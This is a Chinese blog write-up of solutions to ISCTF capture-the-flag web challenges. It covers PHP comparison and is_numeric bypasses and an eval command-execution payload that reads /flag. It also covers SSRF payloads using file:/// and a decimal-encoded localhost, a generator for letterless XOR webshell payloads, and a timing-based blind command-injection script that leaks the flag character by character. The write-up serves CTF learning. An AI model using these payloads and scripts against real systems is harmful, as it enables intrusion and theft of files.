ISCTF-WEB



过太久了,可以看大佬博客吧!我太废了!!!网址都找不到了,凡事不能拖…
有天晚上学习完上面的文章,我突然发现一道题出现了一些奇奇怪怪的东西!有趣!康康你能不能发现它?

EASY-PHP01

在这里插入图片描述
首先可以先按照提示GET一个数试试!没有反应?那就查看一下源码:
在这里插入图片描述

1
获得?hint提示!

GET进去,进一步可得到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>web签到</title>
</head>
<body>
<!--给我一个hint,我给你一个hint-->
<!--?hint -->
<?php
include "./flag114514.php";
error_reporting(0);
if (isset($_GET['hint'])) {//isset() 函数用于检测变量是否已设置并且非 NULL。
highlight_file(__FILE__);
if (isset($_POST['ISCTF'])) {
$ISCTF = $_POST['ISCTF'];
if($ISCTF == 114514){//"==”值是否相等
if($ISCTF === "114514"){//“===”全等(值要相等,类型也要相等)
echo "好臭啊";
}else{
echo $flag;
}
}else{
echo "= == === != !==";
}
}else{
echo "什么是POST?";
}
}else{
echo " 什么是GET?";
}
什么是POST?

图二与图一相比ISCTF= 114514,只是在114514前加了空格
图一:
在这里插入图片描述
图二:
在这里插入图片描述
当然也可以通过ISCTF=114514a,绕过实现!

EASY-PHP02

首先分析一下源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
<?php
highlight_file(__FILE__);
error_reporting(0);
$flag = "flag{need_time_to_change}";
include_once("config.php");
$YOUR_NAME = $_GET["NAME"];
$GET1 = $_POST["GET1"];
$GET2 = $_POST["GET2"];
$POST1 = $_GET["P0ST1"];
$POST2 = $_GET["P0ST2"];
if (isset($YOUR_NAME)){
echo $YOUR_NAME.",请开始你的答题。"."<br>";
}
else{
echo "做题前请告诉我你是小蓝鲨吗?";//可得GET一个NAME
exit();
}
if (is_numeric($POST1)){//仅仅为数字
if ($_GET["P0ST1"] != $_GET["P0ST2"]){//两个不相等

if (($_GET["P0ST1"]) == md5($_GET["P0ST2"])){

$f1=$flag1;
echo "小蓝鲨成功一半".$f1;
}
}
}

if(preg_match('/^[0-9]*$/',$GET1)) {
exit();
}
else{
if( $GET1 == 0 ){
echo "<br>"."前面的出来了吗?";
if(is_numeric($GET2)){
exit();
}
if($GET2 > 678){
echo "答案就在眼前?"."<br>".$YOUR_NAME.",你觉得这是flag吗?"."<br>";
$Ag=base64_encode($flag2);
}
}
}
$flag666 = $f1.$Ag;
echo $flag666;
?>
做题前请告诉我你是小蓝鲨吗?

首先GET部分牵扯到md5加密后,仅有数字的几个字符串,到网上找一下。
在这里插入图片描述
POST部分、GET1,GET2均为字符串类型,
根据字符串转数字规则,字符串的开始部分决定了它的数字部分,该字符串的开头不是数字,则他的数字值为0,
以及GET2>678。
在这里插入图片描述
可得:
49534354467b64316661
JXUwMDM0JXUwMDM1JXUwMDMwJXUwMDM2JXUwMDJkJXUwMDM1JXUwMDM0JXUwMDM0JXUwMDMwJXUwMDJkJXUwMDM0JXUwMDY0JXUwMDMzJXUwMDM2JXUwMDJkJXUwMDM5JXUwMDM0JXUwMDM3JXUwMDMyJXUwMDJkJXUwMDM2JXUwMDY2JXUwMDY1JXUwMDM0JXUwMDM3JXUwMDM2JXUwMDM1JXUwMDY1JXUwMDM4JXUwMDYyJXUwMDYyJXUwMDYyJXUwMDdk
base(好多种)解码一下即可

Simplephp

首先分析代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php
highlight_file(__FILE__);
error_reporting(E_ERROR);



$str=$_GET['str'];
$pattern = "##\\\\\\\\/Ilikeisctf##";//不需要转义
//分隔符,常用包括 / ; ##;~,用于表明一串正则的开始。如:‘/a.*a/’。当表达式有过多的转义字符时,建议优先使用##,如url;
function filter($num){
$num=str_replace("0x","1",$num);
$num=str_replace("0","1",$num);
$num=str_replace(".","1",$num);
$num=str_replace("e","1",$num);
$num=str_replace("+","1",$num);//数以其他字符替换字符串中的一些字符(区分大小写)
return $num;
}

if(preg_match($pattern,$str,$arr))//preg_match 函数用于执行一个正则表达式匹配。
{
echo "good try!";
$num=$_GET['num'];//在数字前加上空格,也会被is_numeric函数认为是数字:
if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){
//trim() 方法用于删除字符串的头尾空白符,空白符包括:空格、制表符 tab、换行符等其他空白符等。
//(会过滤空格以及\n\r\t\v\0,但不会过滤\f)
echo "come on!!!";
if($num=='36'&isset($_GET['cmd'])){

eval($_GET['cmd']);



}else{
echo "hacker!!";
}
}else{
echo "hacker!!!";
}
}

?str=43\\/Ilikeisctf443&num=%0c36&cmd=print_r(file_get_contents(%27/flag%27));
num=%0c36;通过实现\f绕过is_numberic()+trim()
首先print_r(scandir(“../../../../“));
在这里插入图片描述
在这里插入图片描述
而后再去用下面内容替换即可,print_r(file_get_contents(%27/flag%27));是遍历以后要读取的文件
file_get_contents() 函数把整个文件读入一个字符串中。


Curl

127.0.0.1

按要求点击,可得提示:
在这里插入图片描述
在这里插入图片描述
查看源码,我们可得到有一个flag.php文件提示,和图示部分

1
2
3
4
5
6
if(isset($_GET['urls'])){
$urls = $_GET['urls'];
$url_host = parse_url($urls,PHP_URL_HOST);
//Do something~~~~
curl_get($urls);
}

这个题牵扯到内网渗透方面,我们只需要根据代码提示GET一下本地地址(目前个人已知最起码两种形式) localhost 或者127.0.0.1,在访问一下flag文件即可。

1
?127.0.0.1/flag.php

http://127.0.0.1

先尝试?urls=http://127.0.0.1/flag.php发现被过滤了,localhost也不行。尝试把127.0.0.1转化!

file:///协议

在SSRF中常用的伪协议就是file:///协议了,其在ssrf中可以用来读取php源码

1
?urls=file:///var/www/html/flag.php

值得注意,读取php源码,所以只有查看源码才能看见!
在这里插入图片描述
附上学习的链接https://www.freebuf.com/articles/web/258365.html
然后我们来学习一下源码!

1
2
3
4
5
6
7
8
9
<?php
if(isset($_SERVER['REMOTE_ADDR'])){
$rm_ad = $_SERVER['REMOTE_ADDR'];
// echo "REMOTE_ADDR is:$rm_ad";
if($rm_ad == "127.0.0.1"){
die("Flag is : ISCTF{032d89fe-a49e-4e38-ad62-ce322b1a4921}");
}
}
?>
转换(学习cv博客内容)

尝试把127.0.0.1转化为其他进制,?urls=http://2130706433/flag.php

神奇的事情

在这里插入图片描述

1
2
?urls=127.0.1/flag.php
?urls=127.5.1/flag.php

这样也能得到flag,这个应该不是本地地址,可能是源代码的问题,还可能是牵扯到计算机网络的知识。


Fakeweb

突破口,为什么其他题是个IP+端口,而这个题网址和他们不一样那?那就是开始进行的跳转! bp抓包,仔细看会发现有个很快的跳转,抓包工具抓到重发即可(其他师傅的图)
在这里插入图片描述
另外还有一种情况:(在kali中出现的,这是我的图)
代理界面不显示信息,但是历史记录里有,直接点击即可,
在这里插入图片描述
在这里插入图片描述

rce?

无字母数字Webshell,一个异或绕过的脚本,接着运行 Python 脚本。(网上大佬的)
异或绕过的脚本(大佬的脚本)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
$myfile = fopen("xor_rce.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {
for ($j=0; $j <256 ; $j++) {

if($i<16){
$hex_i='0'.dechex($i);
}
else{
$hex_i=dechex($i);
}
if($j<16){
$hex_j='0'.dechex($j);
}
else{
$hex_j=dechex($j);
}
$preg = '/[a-z0-9]/i'; // 根据题目给的正则表达式修改即可
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
}

else{
$a='%'.$hex_i;
$b='%'.$hex_j;
$c=(urldecode($a)^urldecode($b));
if (ord($c)>=32&ord($c)<=126) {
$contents=$contents.$c." ".$a." ".$b."\n";
}
}

}
}
fwrite($myfile,$contents);
fclose($myfile);

运行生成xor_rce.txt后,运行python:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
def action(arg):
s1=""
s2=""
for i in arg:
f=open("xor_rce.txt","r")
while True:
t=f.readline()
if t=="":
break
if t[0]==i:
##print(i)
s1+=t[2:5]
s2+=t[6:9]
break
f.close()
output="(\""+s1+"\"^\""+s2+"\")"
return(output)

while True:
param=action(input("\n[+] your function:") )+action(input("[+] your command:"))+";"
print(param)

如图
在这里插入图片描述

ls / 列出根目录下的文件
ls ../../../和ls ../../../../效果一样,所以一般只要设的足够多就可以!
cat /flag cat进行读取flag文件

eazy-onlineshell

刚开始没有思路,就用御剑扫了一下,获得如图所示:
在这里插入图片描述
访问一下,可得一个文件

1
import flask import subprocess app = flask.Flask(__name__) @app.route("/") def hello_world(): return "Try to access the /rce" @app.route("/www.zip") def return_SourceCode(): with open("./app.py", "r") as f: return f.read() @app.route("/rce", methods=['GET', 'POST']) def action_rce(): if flask.request.method == "GET": return "Why not try to search the backup" elif flask.request.method == "POST": action = flask.request.form["act"] with open("/app/temp.sh", "w") as f: f.write(action[1:-1]) res = subprocess.run(["/bin/bash", "/app/temp.sh"], stdout=subprocess.PIPE) ## print(res) return "success" if __name__ == '__main__': app.run(debug=True)

显示可能不太清,这边截一下图(对的,没有看错)
在这里插入图片描述

分析代码…
是命令执行,命令act可控(注意第一位和最后一位),提示没有回显,尝试反弹shell、dnslog都失败,这题无回显不出网,唯一成功的命令就是sleep。
那就只能先把读到的flag写入一个文件里,然后猜字符sleep,用python写个脚本跑一下。
先执行下面这个命令,先写文件,再读文件。

1
act=1echo `tac f* >1.txt`1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import requests

url = ""

strs = ""

dics = "abcdefgh ijklmnopqrstuvwxyz{}[].1234567890QAZWSXEDCRFVTGBYHNUJMIKOLP?-"
for num1 in range(0,60):
for st in dics:
data = {
'act': '1a=`cat 1.txt`;if [ "${'+'a:{}:'.format(num1)+'1}" == '+'"{}" ];then sleep 2;fi1'.format(st)
}
try:
requests.post(url=url, data=data, timeout=1)
except:
print(num1)
strs=strs+st
print(strs)
print(strs)



大佬的脚本!

注:文章其他部分内容自https://blog.csdn.net/starttv/article/details/127560966


Author: BvxiE
Reprint policy: All articles in this blog are used except for special statements CC BY 4.0 reprint policy. If reproduced, please indicate source BvxiE !
  TOC